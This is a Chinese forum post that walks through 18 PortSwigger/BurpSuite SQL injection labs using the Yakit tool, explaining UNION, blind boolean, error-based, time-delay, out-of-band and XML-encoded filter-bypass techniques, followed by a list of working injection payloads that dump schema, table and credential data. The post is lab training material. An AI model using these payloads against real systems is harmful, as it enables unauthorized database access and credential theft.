首页
社区
课程
招聘
1
[原创]Yakit打BurpSuite靶场—SQL注入篇
发表于: 2025-3-12 11:23 3065

[原创]Yakit打BurpSuite靶场—SQL注入篇

2025-3-12 11:23
3065

本篇是 B站视频:Yakit打BurpSuite靶场—SQL注入篇 的代码与打靶记录,博客版本
由于本篇大多直接写注入语句,在使用上与bp别无二致。使用Yakit的操作在视频,所以文章就没有操作图,但是有payload。
后面如果有用到Yakit的特性会有图的。yaklang代码与序列等高级方法下一篇才有。

本篇是BurpSuite靶场的第一篇,这里共有18个实验,涉及多种数据库和注入手法。这个做完了,可以去玩一玩SQLi-Labs,量大管饱,但是只有MySQL数据库,并且最后更新已经是11年前了。

在学习SQL注入之前,必须学会SQL语句(菜鸟教程),这里是几个在线的SQL练习网站:

牛客网-SQL篇自学SQL网LeetCode-数据库

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

直接拼接语句,注意特殊字符需要编码,当然全编码也是可以的

SQL injection vulnerability allowing login bypass

SQL injection attack, querying the database type and version on Oracle

查询Oracle数据库类型与版本的SQL语句为

但是直接union查询会报错,Hint中给了一个查询语句:UNION SELECT 'abc' FROM dual但是这个也会报错,这是在提示我们。这个是因为UNION联合查询需要前后语句查询的列数相同。所以需要知道原先语句查询的是几列。

这里使用order by函数进行测试,order by意思是按照某列进行排序,所以思路就是逐列测试。order by后可以写列名也可以写列的序数。

按第一列排序:Gifts'+order+by+1--,按第二列排序也能输出。但是按第三列排序却报错。说明没有第三列,只有两列。

那么UNION后句补充一个列就好了,可以使用null作为占位符

占位符随意,比如114514

SQL injection attack, querying the database type and version on MySQL and Microsoft

过滤了-- ,可以用# 注释语句,判断列数同上,这里直接写查询数据库的语句

查询MySQL与Microsoft数据库除了SELECT @@version,还有SELECT version(),所以也可以写为

注意编码,最好全编码,否则直接写到浏览器url可能报500

SQL injection attack, listing the database contents on non-Oracle databases

这个实验很重要,是注入的思路,以Mysql和PostgreSQL为例。这些数据库有个默认的数据库information_schema,这个数据库中存储了许多关键数据,比如SCHEMATA表中存储了所有的库名,TABLES表中存储了所有的表名和所属库名,COLUMNS表中存储了所有列名和所属表名、库名。建议自己安装个数据库,操作一下看看具体结构。

这题的通关条件是登录administrator账号,注入点不在登录页,这题都说了从其他表检索数据。

注入点仍然是之前的category,思路就是

为了良好的可读性,这里使用{{urlenc( )}}自动url编码,可以在括号里直接写SQL语句。

首先category注入点查询库名:

回显:public、information_schema、pg_catalog,非常明显public是可疑库,因为另外俩是系统默认库

查询public库中所有表名:

回显:users_sqjdbv、products,一眼就知道users_sqjdbv是用户表

查询users_sqjdbv中的所有列名:

如果遇到不同库中有表同名,那么这样查询会显示混在一起的列名,所以也可以加上库名条件,精确查找列名:

回显email、password_xraxke、username_hgvoch

这里就已经有存储账户密码的列名了,可以进行精确查找了

查询数据:

回显:
wiener m7gvc8iza7sxmxzg3kve
carlos 89d9ydq8b7kk4tus7v9f
administrator 8lrmdb56161fquczwkip

使用administrator 8lrmdb56161fquczwkip登录即可过关

SQL injection attack, listing the database contents on Oracle

题干说的清楚,类别过滤器是注入点,从那里查询administrator密码

先礼貌问候一下列数:

{{urlenc(Gifts' order by 1,2-- )}}正常回显,{{urlenc(Gifts' order by 1,2,3-- )}}报错,说明没有三列,只有两列。order by 1是按照第一列排序,order by 1,2是当第一列数据相同时,按照第二列数据排序,以此类推,所以这样判断列数。后面不再重复列数判断步骤。

查数据库版本:{{urlenc(' union select banner,null from v$version-- )}},回显是Oracle数据库,这个时候就可以去查Oracle的默认库结构了。以便后续注入。

Oracle注入可以学习一下Y4er的文章:https://y4er.com/posts/oracle-sql-inject/

同时建议,自己搭建个Oracle摸索摸索,我Windows笔记本折腾半天Docker Desktop安装Oracle就是无限启停,还是用官方的在线Oracle吧:http://livesql.oracle.com

查询当前用户:

回显Peter

查询当前用户有权限的表:

回显很多,其中有PETER PRODUCTS、PETER USERS_EALGQZ。一眼丁真!就是可疑的数据库

查询列名:

回显:EMAIL、PASSWORD_RAOMLC、USERNAME_BNPYTJ

这里我复制表名复制错了,后面查数据一直报错,我真蠢

查询数据:

回显:administrator dkz5nikhi570pk03v7dw

SQL injection UNION attack, determining the number of columns returned by the query

SQL injection UNION attack, finding a column containing text

判断出是3列,使用{{urlenc(' union select version(),null,null-- )}}@@versionSELECT banner FROM v$version都报错。刚开始以为是不知道哪个数据库。

后来尝试使用{{urlenc(' union select null,null,null-- )}}发现没报错,说明from可疑省略,那么一定不是Oracle数据库,那就从MySQL、PostgreSQL、Microsoft中测试,恰巧他们的查询版本都是很相似的,又因为题干说了要确定列的值类型。那么明显考察的是回显要符合字段类型的知识。

比如第一列类型是bool,但是你查询的是varchar,那么就会报错。这题我们测试到第二列可以输出版本。

PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

public、information_schema、pg_catalog

products

name、description、image、id、rating、category、price、released

查不出来东西,我以为库里有个数据包含了题目给的那个字符串,没想到让直接输出那个字符串,于是直接写

不加引号算列名,加了就是显示字符串

SQL injection UNION attack, retrieving data from other tables

两列

PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

这题很常规,publics库,users表,username、password字段

administrator n1skvb3sntodavtn0jem

SQL injection UNION attack, retrieving multiple values in a single column

单列检索多个值,学习新知识,但首先我们要确定数据库版本

PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

常规步骤即可

知识点:使用字符串连接函数(如 CONCATGROUP_CONCAT)将多个字段或查询结果拼接成一个字符串。

1. 使用 CONCAT 横向拼接(单行多值)

2. 使用 GROUP_CONCAT 纵向聚合(多行合并为单行)

这题第一个字段无法输出username或password,只有第二个字段可以,但是分两次注入麻烦,而且数据多了还不好直观发现账号所属密码。所以这里使用concat函数,将两列数据合并为一列数据,中间用~分隔,输出到第二列中。

administratordsh8zen6pskpecisl6ju
carlos~1l8zrm4ve3ch6ighrpsl

你也可以展开库、表、列的对应关系

publicusername
publicpassword
publicemail

Blind SQL injection with conditional responses

报错注入,这题没有回显,查询行只有Welcome back的消息,查询失败则没有回显,所以执行一些语句,通过消息是否回显来判断语句是否正确,比如猜测库名长度为5,不对就写6,知道测试出长度,然后逐个判断字母,这个工作量很大,一般都是写脚本。

点击任何一个分类,可以看到右上角有个welcome back

在category测试后没发现注入点,题干说了cookie,那就从cookie入手

在cookie值后加一个',如TrackingId=gG7dkxOsglrzOpj8';没有回显,说明单引号影响了内部sql执行,这个语句使用单引号闭合。后面衔接逻辑语句:

有回显

无回显

后面可以加判断语句

题干说了users表,那我们测试一下有没有这个表

有回显,说明有这个库,如果觉得打注释麻烦,也可以写为

少写个引号,因为可以和后台的引号成对

测试是否有administrator用户

存在此用户,那么暴破密码长度

这里使用length函数,这个函数返回字符串的长度

逐个测试长度,这里使用Yakit的标签,使其在设置的范围内发包:

可以看到,Yakit右边发了很多包,但这个是并发的,顺序并不是从1到16。所以点一下右边表头里的Payloads旁边的顺序图标,让他按照Payloads排序。可以明显看到,payload为20时返回值不一样,>19有回显,>20无回显,说明密码长度刚好是20。

使用substr函数截取第一个字符并逐个判断

密码用到的字符有[0-9],[a-z],[A-Z],以及()`\!@#$%^&*_-+=|{}[]:;'<>,.?

这里语句写为

不过何必在where里判断字符,直接放到前面去,写成

这里有许多转义,如果碰到复杂的,也可以直接插入字典

按响应大小排序,可以看到有一个值明显不同,页面也有回显,那么对应的payload就是密码第一个字符

注意有一些包发送错误或者没有成功回显的,是因为并发太高靶场受不了,还有就是有的字符类型无法接受,重新发包

测试第2个字符,你可以写substr(password,2,1)=……,但是这还要记住之前的字符,然后逐一累加。我这边就直接

提取2个字符,但是在匹配的条件那里把上一次查到的字符写上去,让它只暴破第二个字符就好,等暴破到最后就能直观的看到完整密码。当然也可以写脚本,二分法的脚本会更快,字符通过

得到20位密码:yr19j3bxshqthozbr4hp

提供一个二分法暴破密码脚本:

此脚本使用Yaklang,写得比python快,而且更简洁,没那么多库的导入,如果遇到proxy等等报错,请关闭梯子。遇到网络错误,就是靶场崩了,重新执行脚本。

这靶场太拉跨了,每次运行都崩,所以崩了就重新运行脚本吧,而且经常网络报错。破解密码长度不建议用脚本,因为用yakit一键就出来,写脚本反而费事。

Blind SQL injection with conditional errors

先摸索一下Oracle语法,到livesql.oracle.com新建一个表:

执行下面,能发现oracle对语句进行了逻辑判断

这里末尾用单引号闭合会报错,还是用注释吧

改成'a'='a''a'='b'也能执行逻辑。

但是写在cookie里却不行,猜测是后台的比对位置不在where,过滤的可能性不大,因为过滤不属于这种初级靶机

这里扩展知识点:||

我们在语句后面加个空字符串,拼接后不影响字符串,如:

最最重要的是||是可以拼接子查询写逻辑语句的,倘若逻辑正确就返回空字符串,不影响查询结果,逻辑不对就返回错误

语句如下:

子查询需要用括号包裹

我们在环境里测试下面:

1=1永真,故返回NULL,不影响前面的Zhao,语句正常执行。

1=2永假,故返回TO_CHAR(1/0)TO_CHAR(1/0)Oracle 数据库中一种故意触发错误的常见技巧,查询报错。也可以使用TO_NUMBER('invalid')CAST('invalid' AS DATE)

注入逻辑搭建完成,下面就是判断密码长度,逐个判断字符了

先测试有没有administrator:

先判断是否存在users表:

判断列数,使用count:

实际上,上面去掉count就是返回列名,加上where rownum=1就可以返回第一行列名,由于oracle不支持limit语法,让它逐行输出有点麻烦,这里先不写了。遇到暴破列名的再写。

判断是否存在username和password的列名

判断administrator密码长度:

20位

判断administrator用户的密码第一位字符

好了,这就跟上题一样了,写个脚本先:

Visible error-based SQL injection

基于可见错误的 SQL 注入,这是一个不会显示结果在页面的sql查询,但sql语法有错,会抛出错误。为什么会有这种情况?当然是实际开发中有一些sql用于传输数据,并不是显示给用户看的。而这种注入点要么 fuzz,要么是api泄露

单引号报错 ,加省略正常

TrackingId=aBwEWz4Ph2qZNZHb' order by 1-- ;正常,order by 2报错,说明只有一列数据

刚才引号报错时,发现显示了报错点和后台sql语句

尝试执行逻辑

报错,提示

这就能判断出来是PostgreSQL了,因为mysql这种是弱类型,1会认为是true永真,而这里把1当成了整数,并没有转换为布尔。类型检查严格,判断数据库是PostgreSQL。

知识点:CAST 是 SQL 中的类型转换函数,它可以将一个数据类型强制转换为另一种数据类型。在报错注入中,我们故意构造类型转换错误,让数据库在报错信息中泄露敏感数据

CAST ( expression AS data_type)把expression转换为data_type类型,expression可以是一个列名、一个变量、一个字符串常量。

为什么这个既能执行expression,又能报错?expression可以写因为不执行怎么知道expression的类型,源数据类型都不知道怎么转换?

等它执行完表达式,再转换的时候发现无法转换成目标类型,就会报错说源数据是这样:XXXXX,转不了!

现在我们查询版本,但是把版本字符串转换为1

回显:ERROR: invalid input syntax for type integer: "PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit"

查询用户名

报错:Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'nYFNRJv78qIXtz23' AND 1=CAST((SELECT username FROM users) AS'. Expected char

这个报错意思是sql语法结构被破坏,可是这个引号已经闭合,注释符也能用,在刚开始就测试了。

那么原因只有,后台会限制sql语句长度,达到最大长度后给截断了。

我们把原先的TrackingId值删掉,执行语句:

报错:ERROR: more than one row returned by a subquery used as an expression

返回了多行数据,但是cast只接受单行数据,这里我们使用string_agg将多行合并为单行:

还是太长 ,使用limit获取第一行

回显:ERROR: invalid input syntax for type integer: "administrator"

第一行就是用户,那么直接获取密码

靶场终归有解,实战中第一行不是管理员怎么办呢,limit row offset 1会被截断的

Blind SQL injection with time delays

现学的,有个师傅写的很好 https://eastjun.top/posts/postgresql/

时间盲注比较常用的函数就是pg_sleep(),不过由于它的返回值为null,如果注入点位于where后面,那一定要将其转换为布尔值

所以这里仍然单引号闭合,然后加逻辑语句

Blind SQL injection with time delays and information retrieval

能够执行上面那题的paylaod,所以就case when吧

在此之前我们摸索一下postgresql,新建一个:

写个sql:

这行sql一直不输出,或者输出极慢。因为pg_sleep(5) 是一个函数,它会执行并返回一个结果,而不是直接产生一个值供比较。在 PostgreSQL 中,pg_sleep 的返回值是一个“void”类型(即没有实际的返回值),但在条件判断中,它不会被视为 NULL

慢的主要因素是,它会在查询每一行数据时都进行sleep

这里作布尔比较应该是(select pg_sleep(5) is null);

写个类似靶场的条件语句:

正常延迟输出

测试靶场是否有users表:

判断是否存在username列

判断是否存在administrator用户

判断administrator用户密码长度:

延迟久然后返回的就是正确payload,长度20

测试密码第一个字符:

脚本:

Blind SQL injection with out-of-band interaction

操,只能用burp的Collaborator服务器,在bp里点一下就行,但是我这是Yakit完成BP的牛头人记录啊。测绘到了一些Collaborator公共服务器,但是没有密钥就没办法轮询。

只能用bp了,这里用速查表的那个语句就行,url那里写Burp Collaborator里复制的地址,注意加http://

请求包里要url编码:

Blind SQL injection with out-of-band data exfiltration

这个就是利用带外进行查询,查询时是可以拼接命令的,比如在dnslog上请求一下:

返回

前面附加了我的用户名

这里同理,语句是:

请求包里写(已url编码):

SQL injection with filter bypass via XML encoding

1'被拦截,1%27不会,把注释编码后传输没有数据,个人推测是把%27给删了,输入1+1有数据,能够数学运算。猜测是数字型注入,不用引号闭合

但是这里对于任何字符都不能输出数据,那就没办法写语句。

这里是xml结构,传输到后台时会进行xml解析。而waf是在后台之前检测的,一般waf不会自己解码再检测。

所以思路就是把语句编码传输,waf检测不到,而后台会把它解析了再执行

要实体编码,可以在线使用:https://config.net.cn/tools/HtmlEncode.html,点击HTML实体编码(16进制)

也可以使用Yakit的{{htmlenc()}}标签

先输入1 union select null -- ,编码传输:

或者使用Yakit标签

正常输出一个null,写俩null时不输出,说明只有一列

那么一起查询账号密码,就需要把行连接起来,使用concat函数不行,尝试||

得到密码

SQL注入篇完结

Gifts' or 1=1 --
Gifts' or 1=1 --
SELECT banner FROM v$version
SELECT banner FROM v$version
'+UNION+SELECT+Banner,NULL+FROM+v$version--
'+UNION+SELECT+Banner,NULL+FROM+v$version--
'union+select+@@version,null#
'union+select+@@version,null#
'union+select+version(),null#
'union+select+version(),null#
{{urlenc(' union select schema_name,null from information_schema.schemata-- )}}
{{urlenc(' union select schema_name,null from information_schema.schemata-- )}}
{{urlenc(' union select table_name,null from information_schema.tables where table_schema='public'-- )}}
{{urlenc(' union select table_name,null from information_schema.tables where table_schema='public'-- )}}
{{urlenc(' union select column_name,null from information_schema.columns where table_name='users_sqjdbv'-- )}}
{{urlenc(' union select column_name,null from information_schema.columns where table_name='users_sqjdbv'-- )}}
{{urlenc(' union select column_name,null from information_schema.columns where table_name='users_sqjdbv' and table_schema='public'-- )}}
{{urlenc(' union select column_name,null from information_schema.columns where table_name='users_sqjdbv' and table_schema='public'-- )}}
{{urlenc(' union select username_hgvoch,password_xraxke from public.users_sqjdbv-- )}}
{{urlenc(' union select username_hgvoch,password_xraxke from public.users_sqjdbv-- )}}
{{urlenc(' union SELECT user,null FROM dual-- )}}
{{urlenc(' union SELECT user,null FROM dual-- )}}
{{urlenc(' union SELECT DISTINCT owner, table_name FROM all_tables-- )}}
{{urlenc(' union SELECT DISTINCT owner, table_name FROM all_tables-- )}}
{{urlenc(' union SELECT column_name,null FROM all_tab_columns where table_name='USERS_EALGQZ'-- )}}
{{urlenc(' union SELECT column_name,null FROM all_tab_columns where table_name='USERS_EALGQZ'-- )}}
{{urlenc(' union SELECT USERNAME_BNPYTJ,PASSWORD_RAOMLC FROM Peter.USERS_EALGQZ-- )}}
{{urlenc(' union SELECT USERNAME_BNPYTJ,PASSWORD_RAOMLC FROM Peter.USERS_EALGQZ-- )}}
{{urlenc(' order by 4-- )}}
{{urlenc(' order by 4-- )}}
{{urlenc(' union select null,version(),null-- )}}
{{urlenc(' union select null,version(),null-- )}}
{{urlenc(' union select null,schema_name,null from information_schema.schemata-- )}}
{{urlenc(' union select null,schema_name,null from information_schema.schemata-- )}}
{{urlenc(' union select null,table_name,null from information_schema.tables where table_schema='public'-- )}}
{{urlenc(' union select null,table_name,null from information_schema.tables where table_schema='public'-- )}}
{{urlenc(' union select null,column_name,null from information_schema.columns where table_name='products'-- )}}
{{urlenc(' union select null,column_name,null from information_schema.columns where table_name='products'-- )}}
{{urlenc(' union select null,'eUEzNY',null-- )}}

[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!

收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
WMBa0
非常支持你的观点!
2025-3-16 21:34
最新回复 (1)
雪    币: 1496
活跃值: (2248)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
2
这太有生活啦,哈哈哈
2025-3-16 21:34
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册